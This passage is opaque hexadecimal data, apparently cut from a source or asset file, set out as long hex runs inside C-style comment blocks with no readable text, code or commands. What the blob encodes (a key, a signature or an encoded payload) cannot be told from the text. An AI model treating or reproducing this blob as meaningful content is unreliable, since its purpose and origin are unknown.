9678a8e03256900adec9376c2500ed355e309fca642b55423080a0f583f4d6358a135dcf0ef4419e91c2efc9d660c7773ae1b0f8f1ce1237924fcf0a5486314c385ffa9ca57e38813018259a3fa07adf60944ebe76234cc719a6bc184d5425f96024b4911f31d50c0af6d0bd254526e20a880e534de0b380df9b9337a7fd15756410c111396463b3d5a3916443d3846f1c0e6567f1a619f0b8cd9dc406645d679bc7d565286f3192264d2946ba2b3fb7d344454770e51a02a988ef551aad54808144ce774fe52ba20ffb1e1a851898b8d9b743d5a0f0b42ea5ef2b2f1d1d154a7a9bc6378fd323c11834cda8c5cfcc260e57f00489413dfa481e3c1895da2acd9ac2b7d1f2f227ed546ba64a7616c1770a0bb43bbd99aa2be85962fc80c0898153f2fcc82aa80318a1e7a23d1b3fb3366f51cd12104dd83bb2a4826fac65a533a1d6a96af9ecb69030ff7894ae2c7a3940d522790f953e2b0454a972fe07264a16b8a2dbb7261770af746c46b065c47a5e74813dd9a1ff611d717c0eeebefe2394ffa19a596de9622e8025800168822622d477011e32d58a291802b422436a36130e10212640db968ae0e9495ee0399c3647abc0a321e39eafe21aaaed5609258d98025bc53f9396bdd09838a1eb0fb75d07502ec02eec4dbf16380879055b89f425cbcab1653dcfb7e195622dbdc922d03fe6ee934970464b45f848de4223444b342eaa9e045af12301161789aa0f428ae651b0fe8459d7b0b476c460bdf8aeeeb697d66439ba4b93a6748177f75e5d92226f8fce69971d6cb7bfe6c8407787058365292afe6816584a76ae5ce9c153c89de5d8e4f9885bdc508f829fc38e89443d1a251f9ac9e6f14946f2a70cd517e14176fa00a6692fa30dbd857376a3a1e3d87ea454693be761254435e543b2790e1827701fabe7fc242cc7ff4689ad3f4bf2a0dcef0fc361814dd7141e389fe8c2a6aa5e7e996aeabc699f3fa57b3f69559a506af9cec42a4b4e5e7dcfa8cdc3a316777fa1f330ca18259363bac76ca0a82d9a6a9252bb12509c68cd8dd7b43c0ec72705f49b4f0a6ce018b49d7f481fc7c5da281562a1e759bcab79d57f214866db5dce179ae7ba567e4249734c79f86d1681b5c12cc53bc495ff572547e054a4e42e321f13bc9e8bdcdcb27dd9c2ab96bb97d88d0f9d8bf7e885c9e908b6ddddd56de96254a4b4b656bde4d4e9c466d9c37296eff72080a4526954800693ff2561c9b01d8b3eb04ed2fc249d75d2e2ae12638d0568a399ec85ab4b6f394b2e58cc46354eaa497968*/
/*bd8fa57615b746be6681c2802bf8fdcfc93977e82bb46b03d040735bb8320d766f4dc7646e64bbe880366c7bbe504bb763c6348e6251fb1e73ad9b8c9b0820394efcd8214a826bcc1c7d826830af708cadc31bad8024f6911885ddc291ce129608999db159f7af7131a19fa04f79bcafcb36785f05d41dba866da755b299e43f43566f6a66f530c3506f3b907d3c13c1f9934934b2adbea90d7bc021e348c0c71b9802102d44de3390499eb59668e85d5b31d4c8094b9125fe3159d6fe3e997b17bb943127881ca9dc4cb665a1010816352601a53685f3381658c8ed491e1c34c9bff0bf98acebc3deb61ac32a1d8290ec41add0f4cf34bc5be6b7b40a8c166d8913d7a9002fd96f6d5c3e640bd431f29f37e8579f30180d4d7c531b9df26253b54a5a49f876252c591b8b2d927cb9df27792baddd2b6a282fb429de20e1c694f5d6211f8dac7af4e4f5aa6671a0d1630de81c43b62a05dcafd306904ab28bc116a5cd5f39483d38b2a9fe6e28d96d718bb259a6aa8ba0db56b666d958d3dabe49e69b977386bac6d22f610ebae57e1fddf11a16369c8d5f67af9c3402812e606ab809adf664e1074d9f6ad5f3f1a67cf4e40eef2d147fa4b2a6ecdf539dae6fdd81a1a01aba55adb7875223a209b5ce3a5c0ff229c93d26c5da98652dd0baff7122cd70ed6a4fa099ff8b848b03479ac63e2e16603e99ea620f551ce68a93e7b64170bc9afea49fae6018bddb4016bd817dbaf8d86a73c77830d3321f18c85664395168a40fc94e980d6574d98bef1c9de84727427d187c545e547b9d5506d826a337478dca93866cefb61cf506a0087f6328d509ad148f12183773b2688d3dd193c4777dcc7a0c16d02231b4db3c2205100071f8b3d3dacb2929a510351784e8ac67c33fb4d58b56770eae14a160fd5b474206651cde3717de84b0223f7371b9c13d66e65ff7034ae240946a87c8b3d5d9c735516c2c8e0b054e827cc67f2d8fd3a6d39c3c9ab7ef2a2180d2ae3f5bdfa2924158d00e83d1f0dea6521dbb6445adb2f0ac18bef4411625b903f07d933805242df0f7fd5a92ac9c26165f03d09d0268ffabf7f0d62ed69e9de6297c625e8aa0759f248034ccc0612e9daf68e5bcb74bb990ec06ccdd13fb2da6413e4131d8ecc3e1b23d97f35f8a8cee46d4aa2416d2c575ab96e806d8085723134cd33adf2189058af874eb8f4f38577873fbe350bdf9bc7a689bf9e0d1dfd413dc6c5204832a38b4da277cd1b2addd0afe9f77c0c4a4281943ffff6d8b5eb2e3c15eb955a9604e83b3731fe15ca51a80d745f74a659189ba2f8c5a06d2a971e75416cfb588db4da4d9d321f982840cc5eab61e05f3193c5bc6da1e44e23330cce4f3348c45dc3c8ae4859846be97f46e46721975182542bcf92b691a4800d5b8f58de89dd0b0d282ed5fa6897c313a8020b180056816596f5b522aefbc79e34493b9d9381b68df917ee17ed822a5ed83cd9d93f77d09e735587c7060ef8bde989b058703a17a23cc1fed4c2bff62e2e243fd253842be9523066171b0e6465811d631cae1e33dbf58d4e521abbbc12049caf0dc8ee00491794868c88bf9919a3f19acd7ad1ccf1d6ec03aeda897a5a7e15c78d312670dc838cdd2d7cf443d3623cdc3d4f0afc2709370a1e9050d3d98c14b9f08092858ef2428159a7d5a1bcfcc2ab81e0075c2aeb5b0fdc6df264a1a863733c5616f1f50372819bb5b811235f2a39df1a43b5b564a354cb303de34f6475530a63786707e7bd2652c87e6fb0ab08c3ab14b4cd8d1f2cc158824274da877489b2b46e189b318212d428d766de1688dbf560859e3fffac4ae7300b802dfe44d9970a796795f0f5a26191b458e16c28516517d9da8c1cd272e3c0436a87aa1ef6b3be85c194a9e86cf3cc17a567d076719f0cab855a606a768d8ea86e904830d81bc7aefbc754cffdb504c047934f222e070579b07da96e76e10a8d63d5a6c5fe4a254984e4e3430ac30ead13cc018e5d13c40806f9058cc4833e3d1d71259b94c7f2713c1a8a8907f84ec057e7efb6a2ed2dbcb6ef90438045320deac9f7785a9ce3c237111a10c786d9f13da757f787b165635a754cf0541af3294ad66adfd49412e8a555ddc69fbbbe0a1bf524f6a9dde0f8b0237465e89a1f8a80e1df313902e5b9224297ae05efcb1bae4f4a4776779a6f9ccd27cafa8c0462e6f4ba789dc105c3b74919a71518432f9bd868b3359ceb1a8ee953f4b1c3c63f6dd183cba95e2bc9a89a9abe0509756834233b5a83961b81fba9ce59cd81545880f5dc4ab138b8f8da63351fbcc4d6dfbd855aac61d50cf6343dca861c371d6492aa5371aa42ab6d6b27173a1f1bfaa50ea0224a32c737a92eed20f2afdf939b4fca23d0953cf6bba3a00c7cee85b7e63132b7e7e7e526cd5f456d0402acaf858a75573a5452a81b47e815f30a6ec3404f4a4d07d3c9bf5db1c8bc6b27875aeae48b7433534300c5720a9d3803790341c5b00aafea4e8872584e62610a222ab1b0635a5437da6af314738d06a56d04c310f586dac4b6bafaece83520dbca8abd30782d338f96132f458af11f21df2a76e8930d887bb6d474e5daf6928fad5d52db488d20dbb6a47290755e881e3a6505ba90484431ea34bd12e1aed54c7386a98490656b838ab51cecaf96facd07dc5b1a359a24fdaa78854f94432cd661e1526b8be45af09c6cf2b63674c8069dbae0cf2a84592e3144fb71d05d7f42d57e1ceca6427a3cd8d8a48b07d6a45df0f1079c0c9cd7e8b062b8cc396b2aa3ba595f6a10b15412c4090c714853bd4ac203977c63e4d781e*/
/*13f634e45086e808a5174a4f4868b50ff6223dfe992e16179a5573ca81a5b57019e1ac596eb1204fae66ad95e1b77112b9f953b4aaa6712af1146e04b450c7ddae8b36608750c91ebab4cc643c3a2d134b74fc455e5e0fd468e6d45abb547cccc53825d14075c589529b2891e46a4b17b9b1677383492a9c6bfab5bc10a233bb4109a801a8694d22df5f70e9d588c151826692108e67dc8cf6f2feafa24212e874a80c2051194b4751729db749dd5a5e7751e6dfe62b5a727dacf8734e9fd25c823481a0c8165ba466be3243bc985e3bed0e5d48d7ac0d80ff446c693dd1409b58ecde4d5c5f52997a4a8ea59e5840d2176884cce85271d995741db4c029976bf53642e9e9fa5c37dc7aa99e5d7e2139ac1df3e3d501005262e85cd06e18259d7a7a34f5a31676b136f22a707470d018ee8f677db99dcb5dddf9934aefc2583c490b584c35f0dacd00523b9b9a0c6e0a94540bcc29d94032ffa4dab1a4f6f35ab1edfbc6694a537a0c41905dba4644edec5b65992637e78758443a5b584d9c4551b4d7a9e947106a5c6cdf9a0007fef553a78ec07b8638c7cab4cebec9a67a4f62fe269ac174abf60e2d8301dd5d8cd8ad17d73b67d55613b0e2e09dbf6dfd5becdc189fc675dc2cd535934c282861addb7db51b8093b640685522f469abdbcb4ff2fdbd3f7a916072c963ab6f24749b8b132ab4fa3bc866c2d8df3588286587c483471ad53980accdec1d4136e620027eb8183da042ae9fa90a2e0ffc3219570d34fc0e9fcf422df8ad93261bf0f9401253d668482694987a99279feab6f91952f62d5320d2a283d18f4f270fd3813cc9a799266226cd241e50e787183a8ad48e6781db3d4cf9730f83174410c51fe5fcb0b8b46a6994d453652258774e0b6d3626945df12120ed8ff060fb872f5f91a9864c6177f9d2ea1d9e6c3d9eaf8ad778921a196b4446ec434df6b5f7bfbb030e879a0d357fbaa23ba7918b42b594b2f197f6474215fcf665ca14335c3d8759665e36b666ec48b0d6e49a1ae853f2eddfccf65598987ed2ad3b097da5fed246e20f6d249ad9c9681d5a6e70d8c98aed87895c6d849b5c7a1f37a26298f2ad5cd88d48945d4043ac934c377e9a6add935e0734711b9d64c1166c4ccd97434aa70ff2594c23a9f18df7635d0e18b9f3cbf96daa787dcd90e110d989daaf21aabe4fb32e46bcd3ea22a51190a7b825e777f47a138a6ba87bf5f3b82e66d8f6fd2807f6430f9b5b04c00f393ea89ae7dd82cffd13f2e4aa9327dc396d22b3f880d99bba5960f28ddae1a80c070b1bdeaf07b5973f01cf90dcf1a7898373f8f3a26f8595591cd5fd832932df65e65ae92c2887109275636361f24fca4014dc0f4ee684e62bc52b652501df922ed4e2f231e27381312b5622e2cd6bb8812cc4c9db866a4cb2e4033bfa06c82b95c2e76e91036965b78f7c6f6cff7f11e6c1778f45a34a961622a89dff254bcc01e9e82dda9bc074258d30166137b247e1621130172cb0e97120874c0798a0452782978cc921fc008bd911b12cd24d9478198d58f3d44fbe7cdfe071dd931d644ba5f4a95176c07a04b24e14113c6cf9b2a9fe3e08fe516ac03b9c22910afe6319dfee0f260b9e946ee8065cf6f5e8abe2eb3929b8831566f20eb7ed05467d60133002150e3b88f237287f2c2ad5765f8fc742ae27b77e229b7a7544cd0d696fa19929d378e28c5173ccc6539d89a419ae056c23297e5492e899607169e8241552a3c91cbd4559462c4751303ae57384145e7e767d0d002f46e3a87105225d492f299cc943a81fd09309765271b33b80395acc24566e7fbb2a483a500f85528576c5e0443300355cd3447169fc9f57abc3679d3dc2709b34f97a0c515bf08e440b8d29a0bca0d3f8a63ea85db37345707ac7a66a0f07d7799224a53ecd223bb8a843518d3376760a3eb8ecd10166544cd7d0998c77a6f45560a3d4d3e6da981046970086e43aac92e2d80c59d79b52ee77a1a64dab42523879a3ba69536f7fdd527e866c011b16900ba9f5154a85280daa55882be9edd084950fc5a0269905f67ba3466f4aba4befae619fcba5605568c5db62046e9b124f993c4c5334ead3044758bf092b8c7f7fc6bb45e719bafa41213b71fb84f6c28f80ff87325247739b8107ebff432f5b97bc136f6b7b284a3a9ca54fd5a04096557ee1e53cf4586fecf11fac592cae70a5fb68f391eed18592d01a16aa7c731128f99d8cce17acf3f4707ffb8ee2957ad883a2d3fdd7bcf6b4e2c89bf983b5efe8320e8298b0d3e39853d9f91528ab85ec7c638df84f43c7b65dec1e4ca25b039aee672638e8e3187424f6f47478510b4fe30cd2f4f245215f8ce49feee235d4e393c13d0f2c6337338e545266157622c2926884384c00d6911a8c0b7200e744c964d29b9b1f89ae53fe43f9a7491c753554248fa8f602efd092da77926d6c4e978e187ba636681556472c19be1c3c9c632bae7ced779c7e4d8ae4d2d642364a4ce43cfd3ca4e06fe22e631e298456df1f484d6dc61de9891666dcb821e84a1124b78f27bc6adf35ee4131b5c2b7b4a2d34289fd1b21003bf994a413e87b3168b9d4d5008ddfeb54ffb7a96e28ac04f9cc2905c6b570119db6e0ec1bb71a88911356467b52d53e8146937ad22837b96e1fd55d51213f127b72be58af71e2b17a2d15262b6f197bb3a7f8e928e09c6b66327eda0eb2d0fcdb38671db81a92fe057417a2e663a1c6cebd5fd35065cd7aa7d453fcad2076fd2b32e44b92ebdf474189c6f5b98a60db1895b395c2ad89da3c5d54bcec40396b8f3fed0cc13bf16b*/
/*ea49780a705b9fbe1508ea7fcdd62fe4e1f2a0e45603631a4b4b926169ba1c1204cda84e83870ca40c2ff42f399ee8069fe7ae65db7405e3e6d85bbc5b8d2511ac2a08216a7b034e682fb8ba2f682d7fe77a4a17eb69f109f0348d46d3cab0557dcd83171f4ba3341a39deac90ef9eec83a975110592da69afda62f92489a00247c3cd1b24d04b91bb47cdc27a867fa42b6fb8f235e2bed51bcb4564ccfee1d8c77aa8a9bda5531cf6cd7dbaff70f540691a4862bdaa2869d7be02982c5c0749df4ae16de24b13af7b8c11ca319275e16b188219996a5d2afc95da37d9878252c93d1d53f390a65e7ecdd5c56966ffb3235b99ff1411fc1d01239d50fd7b063a886a67055fb6aefac1ab78ee60e6d676d12b0138419ab842b13752bbb74364a9dbb25def27aecaa7cada04cdd682d775b1dbcc1dfeae1a752fb70fc66c2b3b959ba9a3722580346d985761be6a380c41d1ef6657ead18f2a2d31430b86d1444d6586003ab7e758e7322b57c8b6884e6b2e55204b043ae692fe8067873f1977f2725f84b791f818b5db3b91d5ea9cea59ebe8ccf47b3f03acb56eea0950503fbab26e950a43c631a9398e0822a2fed4577db766de711d36e2f3dee201fb1d8c63beffc974b065594ad6845cf744738b691ac53d5c42bf340ee5bb7978fd9d1f4d947986039b58e4aaedbb7ba501413d871f9b7221295b39b5d99b4ed4875bd76b9c019c521b23ecab3b3c94c534cc656ee0e1995d1da6d71e11c2aa279159739b4eb95e43f4f1ae64456736482eb4f161e825b9b458ad0769834839f3e51e671ab680008d0c939a0f07560ee7aedc74b231f76c58cf44025c7a3cf54dc615f5c55fce37b46c0c85b661f10264423e1333a2a72e609c492ed37704557b64a2f6bad0ed0f39d06b8e7417b85ecb3be55d65cff789e8f6a5c53637005277ee4fe452bac664f72a0eab312eb76bda0a91512c3c5baec59242b3040ebe5249d6b51c61501821d6ce46f107f4ab60a7233c24a16d0db7e49a70d002aa7681126e24a54b2f45f663aecaa6c445bc57db9ffe6e85f94fecfb8245faaacdf017b2c9895a474abefc3fb5b8e9bfca1319d102f30811aaa263ad43be89ddf0651edb2785f551035c264b899d9b0a5f168767674c72e9ea9e192774687188df99ed8b0a2431e416be041c191acb934f2c88f84bd88c5f97388a2aa1599f8af1c9ec6a421bd689f86b2fb4dae9bf5c24d4be099beed91aed3fa9808f7743b880975168bc9f547a0811a9187acc549dc25d744b235d7181e32847f0cfac3b0a3fc30f2cce885f3677138dbbabed16e31f13b3cc73cafa8ae02f1d4dec9c715133799f97959313f1f639026f58641daf13131f300f6f88e0e43a6c5402838c33a7c3cd3abeeade36122101d79b84187866b9b394096f9bf81d31df5ab0297a1c3085f0f99ab337037c2e5967491c969d742f755473d44cdc18d3a5f28958b6c8f5663c62a622e28c7aba7241326fc034948aae8335d2be4e951c61a397462658c80ddae0cc4fc27e3f7487de92294c2d1843e167da0f2f661ff550b08bd2958739d4bb659511996c0357f48bf76aa37b851be6ad041f66edd94cc44c0ec6aac47a5703dfc9d9628711894d0b298ca379800c7244c8d0b3936547866f4190226e72e551222976bc179add8d724595efca84dc7669f01e8ecfb4c48befffe50dc35d8c64e6cd0dbd3f2694617c8166ff7177aa8113abfc78253004103e67e54395ab454ea22b6cb6520e22a31b10b85de7476b39d134ba3e484f1b0f4046aa57715aa177102d4462df1deb8901c26dcd9d23247e8a8580779e7329ab779ed96592467ff7b54f578ae6ba825643cd0482a92c8314afe884418d8e820eb7677c14f7021d065e2fd70907359dc6204e01cc611fcbe62be48104ff2aa8f4a833867e9181b298fae35ffefae2f03cef43b1f20f4ac595a1382f0b8578c1a003ce97222f5bc1b64bf27e168e607d5d98b11d7293f504329124d751ec9d26c6c7365a18e8524a9442d32e67420978f18b4d95a7db7f2ffc6d9c2d2a6a1c1bf5c02b0bb23adde21d0228f073b636f96f76134a1a60e03f62064e43e0ab8916ee16fa0840450fa4f85dada08c78677b3d4bda56f477e21bb2851f4c6586b69378616a29c9a70fd6c91090ba8a8e8296fb2316016fd9dce3bbc749f023ec035a058485a0b9e643e618440d2b5225f3deebc94f4f8578b415341ab19060491750c5711cf5033eb16496edc52d41383241083212fb618671955ae4b726de1a59d1bc045e6dfa38c906cdb4fcf6c9ce55f526e1520e2287a7477e75f1c86b7cd3558965de68ffb01a886fe9fa23a0794424724c2930946279b523dfaeac43500121e17ca1e659c12cd7e0f958e4b06be7310a63ba4ac3e9b4613f5607ca0d1929f06ae25c67483422610283bc0fb989c9a62896c7f0b5fc13b866a48495f8bf0f35c687440d0ece4885d7a44f27ed349d6675a2a6d15d9ab8ce146dbcbeaf75b88961d7ca7c409afda8a3cdf4546895d46b0732b46d03bd19f7f6840c757667ef74edd788f6a191827c5f48fc7fefb1e1c69c514f0c10e3e06a5e020a10314c795310449f6c2d8dfefdcbce2318f30ab98ba46be46d1c1f3b103f66ff0534271e020446ef12996db916dbfeb23385b1f39dc6d87cf041beddfc7ca1a0c83434b05717082e36cc3c5806cbfd78aa88631224a2338f013ed220738d6a20bd6eef64012b4abea9cd8b1988106d39ce10a08c2b7d927d0bb2f3359941ca81995cef771daedbb8768564b8470d093cf994bd4170be71c8201257a2e8b2232acf0fde*/
/*436c4c59fc2e41a114707632bb3e7b64162fd6b1ed0a984e8d15bfc4fc402dc2057ae907cb068575dc48c05fffaafa29d0fccb2c0221d7cc8dd608256c43042f678b5cb6043ce2ffa3e3c9f6754bd3af54eb4ddf8b4237e7f3e676644c57694e0ad4f080dd8310195856710ff9bb0780b0bb780e0559ba19e0720e79bd2fbe7b1b9162de211d5ae0c57e6825f682eec181c1b11dc0ebbefb403a47934267b463a0e0ccce35336b2ec9b5505f7e55f7cb55288ab198efb3b32c15f081110459d55ac6626b1e4e9548461f956e0f1882cac7996ced40fbe7ca38830a2857095e069e037ab16668852c567a84fbde351bd633ebc178d151761b0dfffee2e26d69d3ebf9d2eca81b3ebbda3ea4646b41b92f50e5ea6b6bf1a378e7e42bd11b05ba5c83ffc33fb14e08029383c706ef34adbc525c012a3c4fd8e77822abcc4d95b7f69f6a163884e2b9ec2a772202614406164089ca391d136fe67557dec76303c502ef4cf4e408e49a37b9faa62853fe3b6506734f5c2e2f2c0bd5765b9205ecad8ce3569cc2cc42dc2daa3b8c7cb914947c885bd1f9ce62a05b11f6cd9df0b090527eed022caa9535962be911b0be10fa8d70e7d7ece134174c75a1ba2440e4316bc19a19e2b1e0c337455728a4e7266f21f15e2d6ed886490d16cae1a6c5394b2e365396aa296df911de44490b284a0414da9413527fbf57c298befc4b78458ce755d93f50e9b6a4e9997370b3193175e4c852b8cce0682687c5e317d20f4d88269c8f7eee57b3d9cb3aab5dd39fc65f61b5ddfc54024f5e6ffd13286b97cb6bb7c2f88291923e5f36a69aa5385a16bbad3d76fbd1b535e1f431f54d5cb820801d476e45ed2f86a8035be711176d7be2c7c88126208b225669baf3f9812bc8863fbce50f40b5b96d9add7290cfeeabb767d648e22bb3b0f202687aed0de8e607f3c5cde0342af91d972b6c8243be36348370e01306031122ee8cb92522cc012ffa8a21e4fb1d4fe100ccfeb39ec74f544d52c4d844232284f36aca5681de7a088224c3192e31014e542aa4f90823d94ea39348e95a2c614d8b73de67922614244c78094d870afe1616e447fb6f485c5b3cb64f56004beea3054012fe8570ebbe40920a491d9b5c189a9bf362125fcce8925cb66445f3203530d4c92728bfdde211d36e7bc63cd4dbf6b12dcc8175106d37e5488c4d928291a200feb994951e619bbc4a724fc92c6e4a1648ee74550e855c67ba6d09a1d1bbde5a0899c998f61714c38c580ca5f796e821c72a5df9db42272d5b25587178ce641eb4702f663085aecfc5b908c5aa46c76a4dbd89a7f4fb12f9b59404eeed7e5ebd473bda1dbb16d72ef381363b6fbc2f79df36cc926df3af4eb5f3ce41d128707cecc809a12322c4f1c230e924b3859386b864025ff4409ff99002c5df19f216da0cd9230e19a583317b30a9b2798fcdef09c560ea7ef876694144b7e2def6d35d70c998ce0b03c2b465c928b3c4541dc89908c4a9cecc62422b11261b0ec8b04926e0b256107f8dc7dc064eda6c2cb824b68a3aa5e607e3fcf5739c790aec047bed0f03603c0fc2d00cd235a5eceb024d50b233573e4719908cf4a0971c6dca6d55a8c4e3c4a0ca9c3c10297e860114cf6c2edae350ea16369a13afacaa6d715b4ffc584bdc2d2796d52ab5a54b589577964cc835d597c2d479331260690d729c4b52f3acbfcec7c1560038416a1ae3d52f58e39f7bf2a6396af733e977f423d1b81a2ab2b5ebbfdceca063e022d7d38e42997f656faed1d2a9d2d27513eab1e8ce04877b315c101d6b3b55851878e089383e1d5f7662516a8188f95c5b4e6735554123eb35bfda833d60a681898ac03e8a5133c29f9041c00942d7bf1ab1d9a3f1969d7bf35f927e15340a5656612b56b09db1f40fcbe65144bf9a833dfae6a5eea46f416423005537417ea6d5fefa80f1ab41220310f3d1e60ffa720483be195cdf6ca63556e62638b8e959a78df3c0ca41dfbb1f5a90ba8a536511f58be09af8cba26cb207c7fd33d52273c19f4a3ed8511f9060234a3bb466b0245b13db4b8fc94e379319b3b5e810d0926b788b819a940639bbc8d9f508d87d9aeaaf897634a0d924101cda72b9637f0259ee90303bdcb02c3280218ecce8e663998d96b1beac843aaca6f8bdc8c6b150b810ce5428156858686dd00d372a865fa2f0fb20b079b946a3f0897bf2b7b381245b6297e79c61a13b41d800ab18f1266e431b8b727a7336cd82faedfdc4a7c5527d94f433294f2fa3801ba73951899050dfe76f52823513d32757640d8305c4bd274f959d56d570b0a4c8a6e960d0d9e778ea918275101c367198944f14cc7e68eb8d4da1266d507311ee540c73fd510f6dbc3494b3b297c2c46c723e21f4f6d0933b428839b4465cb019102c33037bcd630c77175cb0d9d8b3ba75403324688580d0267cfa161fa0cfa0b58e51147e265fda31c2f02669983a74fe3b7217a9533e2bb75e68bbacfa5277d6b48460b28107aa912cd422daba60de59987ba4e64bf3ae53ecdf4d45472ebb2e59f7301e3e1b243ca41a24058621005966d96fa904000c0b47575621e6f0cde8a022563d831975e03883287dc853844437a61303a34dd9978b6c8f36972f87faa1d3b4cdb67d3847d8d4f0232d1711c1de933d292b48ce19824dc8dcfc4073f1aeac1329c789063c1784536e95863a9eb256d32c078a99128a05ce4c14876bb3267d6733513da4f16255c8d4126f1aafe749d7bf948dee26e980224c2aa5f230d91692c478ad90ac3cc27bea7e8b6b588ce5a69b865fdbf41ac6d071f5736d*/
/*8622cf8ba4df4624f388aa04d2d23eb33d010848196a565b2cc188c73abb2ae735fa585624df17f18f949f5dfb0bc903305e1d1801520398ed636bd612e438aa24cc1a9237901ead56429d29a80ea32cbf96db925ff8c69d6bb2e503ae1c92f75c03d305a940cc21ab36a4c7ef8985fad2540996303d204dc5242a0a764942ee04fef5ffa6962e13b4a253d9b0099135999033091ee772ffca3f328b628791469e4e578be1ba48e7403aa6552d9c99478992309449fba1b00de8a76d7dab0269729aeb55b80e40051e1b80e1d52196a6d5ad7ca8c222be9376a946d3e21f06fe703867f5e0c3447d03bc5ee1f5b831b92e4818ac3b38e4991b18e753c7b5812dddd39331a5167e919b9bb3c2293e6089b11874fcdfd65cf3e1371cf7b769df1b787d05e21b49e0c50f681ee04e1c36ef7b6b59e3e9bd7d7140284b0329db627ec4190f8ab29071468447af01096d10d48f81ff337743e442e76f5998f7b80c639547a96071c17d81855a73a8baea4fadc383c073a8ab7c49d3919d5f2a8b382f9e8b033a7175d35fa57e2afe88145b4577ddb9d5bd9b1d49d3ca49dc798c4d21fc4303ca0dd4062303c2301ca42db1a0621dfe1d6bb4667570e2393255cc948575b7999a12a3f085d36b2a12625bd79a82781ba24e1b964eef803ed2d12ee3ed2958785fe87f9c8f1ad2e491d9d04c62a7b13f08e70743a5cafdd505912387f5574b2f793cb22092d7f603830d4190d0959764a8f60415a2f9649ee48384d3aa03b7f62371ddcfc03d53d68605d6d88624b905de6d425facfd6f0c7cbc9ee56c6e702616445741101e4fbc4f6fde6b717d841c88b8b5a8c9f5ee0e88fa5711f9e7f3ab1912af425cc53f24714ed0b28c8e167ed81d41d5eccf4d550b65711ba4cbdf5cdeddf6d135346682801f086dd71c4eab36142526c1c2c5c03036a521c391a40da7fbae0b3d9cea9a860e6c2b78d66ae5ef9f96259b3815ca5a34b288fec92f69220866449034efcd933d35942300437b9a0ee591b8060f889715b24918c64bb21f8cfa8b1ebf435fbd6a94c1b1646e270f61e702d70c2c98adf275f8f20544ec067f6db88d7343a572d5655cfb432c233954e541b0560011eebaa027bc5d184bda42fa2c5cfea3482ef02aae739420fd9549920cbb723a875f8c021ff08953d0a31e36e5df9b11eed252ab7b8e510cf8374806f8f7a25bf6c88f1eb0d75a7b46cc017dc6b41cee97a183a5c468866adb0c0a5a9ba264df2a85ee380dd3110d1dff1832c5436d6705b1e92d6b860dc78c472bc6f6bbf242d2e57bb73c2d8ad3dd563617c4ed4e91a3baba4d3a3f50498e59ee93ac62bd3761b0d4c792d90bd71ef6db831d994468a4ec611fd95e267cec5ac493051eec87422a470a4981db36d0b117081d858e37e80ca70e101b1e92b548ed031e675aa9f53a6fb5dcb5dc5c2581a6c579e7ec40bc947d75bf0e11d1c67875ef5f06f4bb006307f75e8e56d4ab7cd09f370ca076fcc38b2f115e26d25dd07d1bcdcc56b1717704e0424f86335ebb59f8239451ea383fcffb72e7500f95d64fce26d3def179cc6aa069d463ac6c620019befb96b41b12235e194632cbfd8cf74c14e4fdf6855fda618a80d254f701a77553e84686522be164a55b043d26c695c80dd06b4ec2c90ca38cf417351f1ebfe9948a115735bc1fe371a5c9054206a1216028d9d748ec16f2cc13fb51cc2358bdaaf14a643648734371b3eecc910964f7f9dbfcd3ea8a19dc49870b818bb23a4a1f1c55cb9c7dc9b838315c4796dcd8cbfa6ee7e3e24159cf5d73dd90e2220b69aeb0985087f5ac68450dd430e1df471f4f2937302e8ce5c40608f87d0c491cbe5486470e9cecb57b6721a91004348aa3f8a58078a9efc3c06706c859b5ddda63d712ba1a54f34eafacfc1ec5a4fd72130c49a972d8f7d9a02bb9e46bad1ae381d60cd57fcf3e1c7685d0ff8a3702e3de9485ab3aa844d4a8713d00167124a0508ff4ec56cd84ed44b0f9330684d833096401dfe090e9cb0ab972c670152cd7cc113b596de9222611200b89709eb51f6ef2b88b9f9914d6562594ad58e13c0588f49c822e7bfbd1866173ba862e103deae51ede57d1fe3a30e5b4793265743aeb94eecfbc9b40dfeb1ec3ca7aa177bbc3bfae46eb94584df62520bce7f057ba812c781aa640734d8b2573605a308ac5cdc5d674b4fdeeb5238c1e92454920b8a116a6b333dd3a55a55c7b48e091502f52d4a997fce790269bbd3012a8baadb09b1d971f116d73ac0a181e28b98b61f4672be3215555a8140c06ef568ee8abee44da381c66f1ef7c36a10a8204c9231edcdae948c26feda5089b6ee50b28008cb7bd965172dd13d91a4cccd9348aa912ba048ffeed550135a6a0bed8a9809815ea8955183a769a25c4bc312a289659356f430404263996c15377b2fbc376b3a912bbe30aef010a6eb46de7aeaa81d8d9ac1401ad9d33ea7ee22471a72c486ca560dd57995dcb31df21927c050e2aecf4b692e7795f6fac7ea99d2e905aa3ce9f545c111a5b513fda0b0b65b0a22506a4f5debe33654336dffbfb033ff6a6b3538a86881bc0aee0e8fd89717eac1f2dbd0b47ce5bc1238fa2b78fed798fd17d709edb083186a069febfd26635978b3d279c094153a1083d38e1a783aabc9cfb82187be9f64052689d098ed52d384a4edebff9f2d2e633f87a9e3e2914e39866a290496ea37c8836bc93b67ccdd487e75b009dec9c1f62b88f43d95123da0a28b24b31427d88818d92c6dccb7b5023dbc8d74a89c99903f5b94169ccb8ebdbbc78eee9abd8830260abcd6764*/
/*5f14122fcadc55d60d266035793d35d069f793d78b0ae520efe333ef1717c1c921040434fd0d6f718cafcc6d8b02ba8ad7e664e957bb71f7325680ed8ac64f752b3b93226f6ccf786bb0a5ab6e3175d691dd2396bf801bb073eb09979a266484f4d1620fa251a7c0c61f54cae7aed0bd68d3b0b20f89aeac06bce8ba116805d1a83e4583f9908b64d2ef485dc39b64b65a76ceaf6f272188913ae2882179eb7f864c00f8a4c853563e244ea01b2ab871bc26dbc6b92c0238f6d80881cb1808e9f3baa720a8301c0846702b770bcfa17054d7224bd890ff70d3f20d023954580b3b761e1b9eb0c4cf549f77ef6118f752474839ba6f270de6dc9804dbe2db89b38b5bcaa156c6e0801080a4d7350b967794e8c2d4773be866c7789276af35e73305c5c9994f7b51a8dad51b31d141c3a05fa1f88bf55bc98484c7e9ea8bbe96ee8ffc32a649ec433835a07546d2384686a73680ae3e639a08f2cfbacb58b348f9161090a188b9ef607ee9b8ecf1196f9cd8900188a319c2399951ed3de0d6688091d104a3e86415556e028353f5d795b27af6e638a885ea4bb86764cd082b770da7b3716759d7437bbab3e6c40826576c99d91fa1a4abdc2adfcc945d2cc29955147227bc55a02174cb1b717a062bf5ef1512de196c2122421373e4fe21e5b49db35c9ec4f826db07385e9bfbc4b76385adfde1f80e916c5021e8357965a528fb70ee22bf5b035f4630ce70d7d3d5863f7c4fb6eec8f8c612a339ed0d2c7135b6f10728324407f0f24517a54898479376a0fbf6bf0be1905f709414a355f823f9dbd56502f848f5e6eeadd353481062